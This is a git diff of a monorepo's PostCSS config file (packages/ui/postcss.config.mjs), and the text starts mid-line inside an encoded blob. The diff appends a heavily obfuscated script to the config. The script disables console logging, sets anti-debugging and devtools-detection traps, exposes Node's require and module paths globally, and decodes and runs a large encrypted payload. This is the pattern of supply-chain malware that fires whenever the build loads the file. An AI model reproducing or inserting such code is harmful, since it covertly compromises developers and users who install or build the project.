e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() +export { default } from "@kyuar/ui/postcss.config"; diff --git a/packages/ui/postcss.config.mjs b/packages/ui/postcss.config.mjs index e199a37..4de2724 100644 --- a/packages/ui/postcss.config.mjs +++ b/packages/ui/postcss.config.mjs @@ -1,7 +1,5 @@ -import { createRequire } from 'module'; -const require = createRequire(import.meta.url); const config = { plugins: { "@tailwindcss/postcss": {} }, }; -export default config; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() +export default config;